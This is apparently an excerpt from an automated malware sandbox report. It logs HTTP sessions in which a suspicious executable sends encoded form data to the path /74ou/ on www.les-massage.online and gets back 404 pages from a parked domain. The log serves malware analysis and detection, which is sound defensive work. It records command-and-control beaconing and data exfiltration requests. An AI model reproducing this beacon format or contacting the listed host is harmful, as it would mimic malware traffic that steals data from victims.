                                                                                                                                                                    Data Ascii: tD38rnpX=6kOsoZB1YxAvi5CYBGl+vFPBJus9tNCvSNXFZCcEDRgaTRvRfXk5nYk2aPJARbOe8ND5t76Ojpa3OHNZMSE/+g9aHqlhSqw9XhHMH+oG+8ivYujnaceOCfmGeh7i9Ch83XGgEErAc9F5OydhWCnP4KKtxBgUP4E4nuGkxbiYmJQw+iuYZteGtN/c4YKJEkotZ6PTfm8=
                                                                                                                                                                    Oct 25, 2024 16:29:54.712152958 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:29:54 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c [TRUNCATED]
                                                                                                                                                                    Data Ascii: d1cZko_1fQRERy8G9-E!!;M;i4@E_(PsgvKqDs^`i(PznI8nU{<0V%WG^=Q,d_LJ*|)|t du$"Y:qzr]p|G:5bhO&Ai>f/~r~C!0'zoUV0B]208$sh&lWY0uPP3o^|gSSFmoZ?m~~moufg}jZLUY.V<;}Kr\W_DQ=[8[ %XY/\GZAez]#!u26NwqP$KDe9s= s-ZzrT&JIGA%%Gx/9L?No!~>=wpx59VRB`~\70?BhuAfQziv:D1xBhfbr0%h%,:gk#>GE1\o7{Bjvvr@L~P}psFW-;2Xy!7:l*:@]YrID{=8vG$gM[PZO%p:q0l vMrb}b;SR^w|165[?L3r3[1:vRIXir~dN2axS4fQ1t~,t""+~lRXQUo:6Ha!$ [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:29:54.712348938 CEST1236INData Raw: 59 67 ee 2f d1 ac 8b da 2a 1a 38 7e c7 15 7d 69 e8 f8 c6 84 32 0a fc c1 93 9d 02 4e 06 dc 6d 4a 69 ff 04 7a 91 bf 60 de c7 c9 3d e0 4c 49 98 e3 da c5 f0 d5 c6 89 c7 5d ed f2 42 93 6e 00 d6 f3 90 31 7d 01 b9 7f 46 1e bc 9f fe 1e 21 f2 38 fd 32 f9
                                                                                                                                                                    Data Ascii: Yg/*8~}i2NmJiz`=LI]Bn1}F!82{'R'LjnZ *RD}8.NpG3o~rVx%M[+A)#=O_V%P<!R.^#=.CO`Ev`mFeNG
                                                                                                                                                                    Oct 25, 2024 16:29:54.712377071 CEST424INData Raw: b6 b1 a5 6b 91 a7 bc 58 58 3a b0 74 80 bf ec f9 49 87 f8 d9 45 48 7e 4d 02 c5 7b 5c f2 1a fd a9 5f 3b c5 4a 3f 4e 9f d5 18 b5 9b ea ee 03 87 9e 38 a6 ac b3 f9 4e d4 3f 12 d8 e9 fb 1b 73 83 f7 4e cd 7d 9d c9 c2 a1 69 c7 e9 2d 95 b3 cb 23 46 e7 8c
                                                                                                                                                                    Data Ascii: kXX:tIEH~M{\_;J?N8N?sN}i-#F1qp6pmv,pAAXWY}~6Dd858\k9DJA56tefTmN?bYV]1bq!,Z*}s9ghO)2rz*;w|{sK/}$dRrH
                                                                                                                                                                    Oct 25, 2024 16:29:54.712907076 CEST646INData Raw: d0 6c cc 81 41 92 dd 29 4f be a9 af af ab cc f1 67 aa a8 bb c4 cd 85 0e 17 58 d5 f1 71 95 76 09 a3 60 b6 42 1c a9 a6 7d 42 ee 2e c3 41 d5 5e c5 9a 6b b4 e8 eb db 2f 19 e7 77 ea e6 d9 0f 4c f5 bd be fd e1 07 f1 ce 59 d8 42 e1 a3 10 aa 99 49 dd 57
                                                                                                                                                                    Data Ascii: lA)OgXqv`B}B.A^k/wLYBIW(1?>.A-F kYx+Lz\HEYF$/ZJ}$S+W4KOAaiE0i)J6}~~lEH)sZJVPofsYTW[G,8O


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    38192.168.2.562225194.58.112.174802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:56.438004017 CEST719OUTPOST /74ou/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.les-massage.online
                                                                                                                                                                    Origin: http://www.les-massage.online
                                                                                                                                                                    Referer: http://www.les-massage.online/74ou/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 36 6b 4f 73 6f 5a 42 31 59 78 41 76 69 61 4b 59 4e 42 78 2b 74 6c 50 41 51 65 73 39 30 39 43 72 53 4e 4c 46 5a 41 77 71 44 44 45 61 53 30 4c 52 65 56 63 35 71 34 6b 32 4f 66 4a 46 65 37 4f 6a 38 4e 4f 4d 74 36 47 4f 6a 71 6d 33 4f 47 39 5a 4d 6c 6f 34 78 51 39 45 49 4b 6c 6a 4e 61 77 39 58 68 48 4d 48 2b 39 64 2b 38 71 76 59 65 54 6e 62 39 65 50 4b 2f 6d 46 5a 68 37 69 72 43 67 33 33 58 47 4f 45 46 6e 6d 63 37 4a 35 4f 7a 74 68 48 32 37 51 79 4b 4b 72 39 52 68 6a 66 36 74 52 71 73 4b 75 78 36 48 42 30 36 70 4f 2f 55 44 79 44 50 57 75 2b 74 54 6b 6f 4c 43 2b 56 55 4a 45 44 5a 66 6a 42 78 71 31 5a 6a 31 52 4d 45 6e 30 4f 33 56 38 32 45 4a 6f 54 4d 71 38
                                                                                                                                                                    Data Ascii: tD38rnpX=6kOsoZB1YxAviaKYNBx+tlPAQes909CrSNLFZAwqDDEaS0LReVc5q4k2OfJFe7Oj8NOMt6GOjqm3OG9ZMlo4xQ9EIKljNaw9XhHMH+9d+8qvYeTnb9ePK/mFZh7irCg33XGOEFnmc7J5OzthH27QyKKr9Rhjf6tRqsKux6HB06pO/UDyDPWu+tTkoLC+VUJEDZfjBxq1Zj1RMEn0O3V82EJoTMq8
                                                                                                                                                                    Oct 25, 2024 16:29:57.301022053 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:29:57 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c [TRUNCATED]
                                                                                                                                                                    Data Ascii: d1cZko_1fQRERy8G9-E!!;M;i4@E_(PsgvKqDs^`i(PznI8nU{<0V%WG^=Q,d_LJ*|)|t du$"Y:qzr]p|G:5bhO&Ai>f/~r~C!0'zoUV0B]208$sh&lWY0uPP3o^|gSSFmoZ?m~~moufg}jZLUY.V<;}Kr\W_DQ=[8[ %XY/\GZAez]#!u26NwqP$KDe9s= s-ZzrT&JIGA%%Gx/9L?No!~>=wpx59VRB`~\70?BhuAfQziv:D1xBhfbr0%h%,:gk#>GE1\o7{Bjvvr@L~P}psFW-;2Xy!7:l*:@]YrID{=8vG$gM[PZO%p:q0l vMrb}b;SR^w|165[?L3r3[1:vRIXir~dN2axS4fQ1t~,t""+~lRXQUo:6Ha!$ [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:29:57.301261902 CEST1236INData Raw: 59 67 ee 2f d1 ac 8b da 2a 1a 38 7e c7 15 7d 69 e8 f8 c6 84 32 0a fc c1 93 9d 02 4e 06 dc 6d 4a 69 ff 04 7a 91 bf 60 de c7 c9 3d e0 4c 49 98 e3 da c5 f0 d5 c6 89 c7 5d ed f2 42 93 6e 00 d6 f3 90 31 7d 01 b9 7f 46 1e bc 9f fe 1e 21 f2 38 fd 32 f9
                                                                                                                                                                    Data Ascii: Yg/*8~}i2NmJiz`=LI]Bn1}F!82{'R'LjnZ *RD}8.NpG3o~rVx%M[+A)#=O_V%P<!R.^#=.CO`Ev`mFeNG
                                                                                                                                                                    Oct 25, 2024 16:29:57.301287889 CEST424INData Raw: b6 b1 a5 6b 91 a7 bc 58 58 3a b0 74 80 bf ec f9 49 87 f8 d9 45 48 7e 4d 02 c5 7b 5c f2 1a fd a9 5f 3b c5 4a 3f 4e 9f d5 18 b5 9b ea ee 03 87 9e 38 a6 ac b3 f9 4e d4 3f 12 d8 e9 fb 1b 73 83 f7 4e cd 7d 9d c9 c2 a1 69 c7 e9 2d 95 b3 cb 23 46 e7 8c
                                                                                                                                                                    Data Ascii: kXX:tIEH~M{\_;J?N8N?sN}i-#F1qp6pmv,pAAXWY}~6Dd858\k9DJA56tefTmN?bYV]1bq!,Z*}s9ghO)2rz*;w|{sK/}$dRrH
                                                                                                                                                                    Oct 25, 2024 16:29:57.301830053 CEST646INData Raw: d0 6c cc 81 41 92 dd 29 4f be a9 af af ab cc f1 67 aa a8 bb c4 cd 85 0e 17 58 d5 f1 71 95 76 09 a3 60 b6 42 1c a9 a6 7d 42 ee 2e c3 41 d5 5e c5 9a 6b b4 e8 eb db 2f 19 e7 77 ea e6 d9 0f 4c f5 bd be fd e1 07 f1 ce 59 d8 42 e1 a3 10 aa 99 49 dd 57
                                                                                                                                                                    Data Ascii: lA)OgXqv`B}B.A^k/wLYBIW(1?>.A-F kYx+Lz\HEYF$/ZJ}$S+W4KOAaiE0i)J6}~~lEH)sZJVPofsYTW[G,8O


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    39192.168.2.562226194.58.112.174802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:58.987925053 CEST1736OUTPOST /74ou/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.les-massage.online
                                                                                                                                                                    Origin: http://www.les-massage.online
                                                                                                                                                                    Referer: http://www.les-massage.online/74ou/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 36 6b 4f 73 6f 5a 42 31 59 78 41 76 69 61 4b 59 4e 42 78 2b 74 6c 50 41 51 65 73 39 30 39 43 72 53 4e 4c 46 5a 41 77 71 44 44 4d 61 54 48 7a 52 63 79 77 35 6c 59 6b 32 4e 66 4a 45 65 37 4f 45 38 4e 57 49 74 36 4b 30 6a 76 71 33 4e 6b 31 5a 4b 52 38 34 6d 41 39 45 4b 4b 6c 67 53 71 78 31 58 67 33 41 48 2b 74 64 2b 38 71 76 59 63 37 6e 53 4d 65 50 49 2f 6d 47 65 68 37 75 39 43 68 51 33 58 2b 34 45 46 7a 51 63 72 70 35 4f 54 39 68 46 6c 54 51 76 61 4b 70 38 68 68 37 66 36 78 4b 71 73 57 45 78 36 6a 72 30 36 52 4f 2f 31 47 61 51 4c 43 6d 6c 74 50 6c 70 72 36 4a 4b 68 42 69 46 5a 54 76 44 68 4f 77 58 6a 35 69 4b 51 72 73 4c 6c 55 32 6f 44 64 2b 53 62 48 39 58 4d 6f 73 54 73 46 64 78 77 6d 38 6b 45 73 78 4f 4b 50 66 55 59 48 7a 53 78 42 45 6d 4c 33 4b 38 54 79 44 66 39 72 71 4f 5a 4a 6f 73 51 75 4d 52 6d 55 4f 47 48 45 34 58 42 5a 53 79 62 48 2f 69 57 78 4f 7a 4d 55 42 43 39 79 47 6d 67 68 45 2f 31 6b 51 56 61 66 31 76 75 7a 67 5a 78 30 73 6c 38 34 51 6a 51 72 6a 32 37 63 76 7a [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=6kOsoZB1YxAviaKYNBx+tlPAQes909CrSNLFZAwqDDMaTHzRcyw5lYk2NfJEe7OE8NWIt6K0jvq3Nk1ZKR84mA9EKKlgSqx1Xg3AH+td+8qvYc7nSMePI/mGeh7u9ChQ3X+4EFzQcrp5OT9hFlTQvaKp8hh7f6xKqsWEx6jr06RO/1GaQLCmltPlpr6JKhBiFZTvDhOwXj5iKQrsLlU2oDd+SbH9XMosTsFdxwm8kEsxOKPfUYHzSxBEmL3K8TyDf9rqOZJosQuMRmUOGHE4XBZSybH/iWxOzMUBC9yGmghE/1kQVaf1vuzgZx0sl84QjQrj27cvzIDyLNDXofrv6RrmBBa/gkDelogkp6nHqR5hTJd/mHfsOnX6ZlgtpiDpF8GezWmpkR/njVxNCLd9tUHa3oXJf6fSQ7kZLIqWLnzTEopEkAi+UglvkfaqvDZTEmLSSKVmZGkhxW7xIZxo4ejiGhjRqwtZVk4pwQRNBavEC7s1pRR4qMejwrxa+Ex8ytTIZpyUHzMOi2gqPqZ+5jrEIsqGN516NNDdazOP/aYpXg4Kl+Vw3lp3zTh0G3X6vG6jP270igKkfUCzqaU6quUgMUTQivhvK/57aIYVaKPbojgGxN91NH4+jwlCK4U0p9aWrlKhlI7pHfDRRy1StNonb5T9Wexn+ezs9Am7zLg3GijngG+CuJZX7129IKtgUWEedc+ou95A0nIkfAwRUX4OPiI6KnagKRp2PT2liwcdoE0lFpWGlrQdWBguOca6oPPWmNu/FWGTAerRUpjGHWsqirPPbwqlf9NfD87Ef4wW/28z6gNEp/vEbh7nFgBHyBgU6pqgNPUns3pvYDKTH2EfMbGCr/JPXutwFpPXOgS17ecdO9OVzlmaAV024n8D/4BmHTS2Ncrw599SnXX9lK3znEfdwJDoahHJyaZR01nU8rrEb1kvXsZ9FvRg8Fxj90fzYqhl5Hpw8utRBB5w3sWLX23G/5AQQ4CgJLXgeDw [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:29:59.880258083 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:29:59 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c [TRUNCATED]
                                                                                                                                                                    Data Ascii: d1cZko_1fQRERy8G9-E!!;M;i4@E_(PsgvKqDs^`i(PznI8nU{<0V%WG^=Q,d_LJ*|)|t du$"Y:qzr]p|G:5bhO&Ai>f/~r~C!0'zoUV0B]208$sh&lWY0uPP3o^|gSSFmoZ?m~~moufg}jZLUY.V<;}Kr\W_DQ=[8[ %XY/\GZAez]#!u26NwqP$KDe9s= s-ZzrT&JIGA%%Gx/9L?No!~>=wpx59VRB`~\70?BhuAfQziv:D1xBhfbr0%h%,:gk#>GE1\o7{Bjvvr@L~P}psFW-;2Xy!7:l*:@]YrID{=8vG$gM[PZO%p:q0l vMrb}b;SR^w|165[?L3r3[1:vRIXir~dN2axS4fQ1t~,t""+~lRXQUo:6Ha!$ [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:29:59.880424023 CEST1236INData Raw: 59 67 ee 2f d1 ac 8b da 2a 1a 38 7e c7 15 7d 69 e8 f8 c6 84 32 0a fc c1 93 9d 02 4e 06 dc 6d 4a 69 ff 04 7a 91 bf 60 de c7 c9 3d e0 4c 49 98 e3 da c5 f0 d5 c6 89 c7 5d ed f2 42 93 6e 00 d6 f3 90 31 7d 01 b9 7f 46 1e bc 9f fe 1e 21 f2 38 fd 32 f9
                                                                                                                                                                    Data Ascii: Yg/*8~}i2NmJiz`=LI]Bn1}F!82{'R'LjnZ *RD}8.NpG3o~rVx%M[+A)#=O_V%P<!R.^#=.CO`Ev`mFeNG
                                                                                                                                                                    Oct 25, 2024 16:29:59.880445957 CEST424INData Raw: b6 b1 a5 6b 91 a7 bc 58 58 3a b0 74 80 bf ec f9 49 87 f8 d9 45 48 7e 4d 02 c5 7b 5c f2 1a fd a9 5f 3b c5 4a 3f 4e 9f d5 18 b5 9b ea ee 03 87 9e 38 a6 ac b3 f9 4e d4 3f 12 d8 e9 fb 1b 73 83 f7 4e cd 7d 9d c9 c2 a1 69 c7 e9 2d 95 b3 cb 23 46 e7 8c
                                                                                                                                                                    Data Ascii: kXX:tIEH~M{\_;J?N8N?sN}i-#F1qp6pmv,pAAXWY}~6Dd858\k9DJA56tefTmN?bYV]1bq!,Z*}s9ghO)2rz*;w|{sK/}$dRrH
                                                                                                                                                                    Oct 25, 2024 16:29:59.881012917 CEST646INData Raw: d0 6c cc 81 41 92 dd 29 4f be a9 af af ab cc f1 67 aa a8 bb c4 cd 85 0e 17 58 d5 f1 71 95 76 09 a3 60 b6 42 1c a9 a6 7d 42 ee 2e c3 41 d5 5e c5 9a 6b b4 e8 eb db 2f 19 e7 77 ea e6 d9 0f 4c f5 bd be fd e1 07 f1 ce 59 d8 42 e1 a3 10 aa 99 49 dd 57
                                                                                                                                                                    Data Ascii: lA)OgXqv`B}B.A^k/wLYBIW(1?>.A-F kYx+Lz\HEYF$/ZJ}$S+W4KOAaiE0i)J6}~~lEH)sZJVPofsYTW[G,8O


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    40192.168.2.562227194.58.112.174802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:01.530728102 CEST431OUTGET /74ou/?tD38rnpX=3mmMrs1mHi0xtqaDMxx5sGmAfYwz3fKeAP6hfCImDXgoS2DvTlMdmK0EBclDVq+276a7o9Kf0aGsTEl5XVQU8hFnYYQwN4YvQQrBN/UKtPKYTv3aHsCNNey2XHWZ7ns4hg==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.les-massage.online
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:30:02.430912018 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:02 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 32 35 30 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6c 65 73 2d 6d 61 73 73 61 67 65 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d [TRUNCATED]
                                                                                                                                                                    Data Ascii: 250e<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.les-massage.online</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/*<![CDATA[*/window.trackScriptLoad = function(){};/*...*/</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text"> &nbsp;<a class="b-link" href="https://re [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:30:02.431159019 CEST1236INData Raw: 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67
                                                                                                                                                                    Data Ascii: div><div class="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.les-massage.online</h1><p class="b-parking
                                                                                                                                                                    Oct 25, 2024 16:30:02.431166887 CEST1236INData Raw: 22 3e d0 94 d1 80 d1 83 d0 b3 d0 b8 d0 b5 20 d1 83 d1 81 d0 bb d1 83 d0 b3 d0 b8 20 d0 a0 d0 b5 d0 b3 2e d1 80 d1 83 3c 2f 68 32 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 22 3e 3c 64 69 76 20 63 6c 61
                                                                                                                                                                    Data Ascii: "> .</h2><div class="b-parking__promo"><div class="b-parking__promo-item b-parking__promo-item_type_hosting-overall"><div class="b-parking__promo-header"><span class="b-parking__promo-image b-parking__promo-i
                                                                                                                                                                    Oct 25, 2024 16:30:02.432122946 CEST636INData Raw: d0 be d0 b4 2e 3c 2f 70 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 62 75 74 74 6f 6e 2d 77 72 61 70 70 65 72 22 3e 3c 61 20 63 6c 61 73 73 3d 22 62 2d 62 75 74 74 6f 6e 20 62 2d 62 75 74
                                                                                                                                                                    Data Ascii: .</p></li></ul><div class="b-parking__button-wrapper"><a class="b-button b-button_color_primary b-button_style_wide b-button_size_medium-compact b-button_text-size_normal b-parking__button b-parking__button_type_hosting" href="https://www.
                                                                                                                                                                    Oct 25, 2024 16:30:02.432133913 CEST1236INData Raw: 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 69 74 65 6d 5f 74 79 70 65 5f 68 6f 73 74 69 6e 67 22 3e 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 62 2d 74 69 74 6c 65 20 62 2d 74 69 74 6c 65 5f 73 69 7a 65 5f 6c 61 72 67 65 2d 63 6f 6d 70
                                                                                                                                                                    Data Ascii: b-parking__promo-item_type_hosting"><strong class="b-title b-title_size_large-compact"> , VPS &nbsp;Dedicated</strong><p class="b-text b-parking__promo-description">
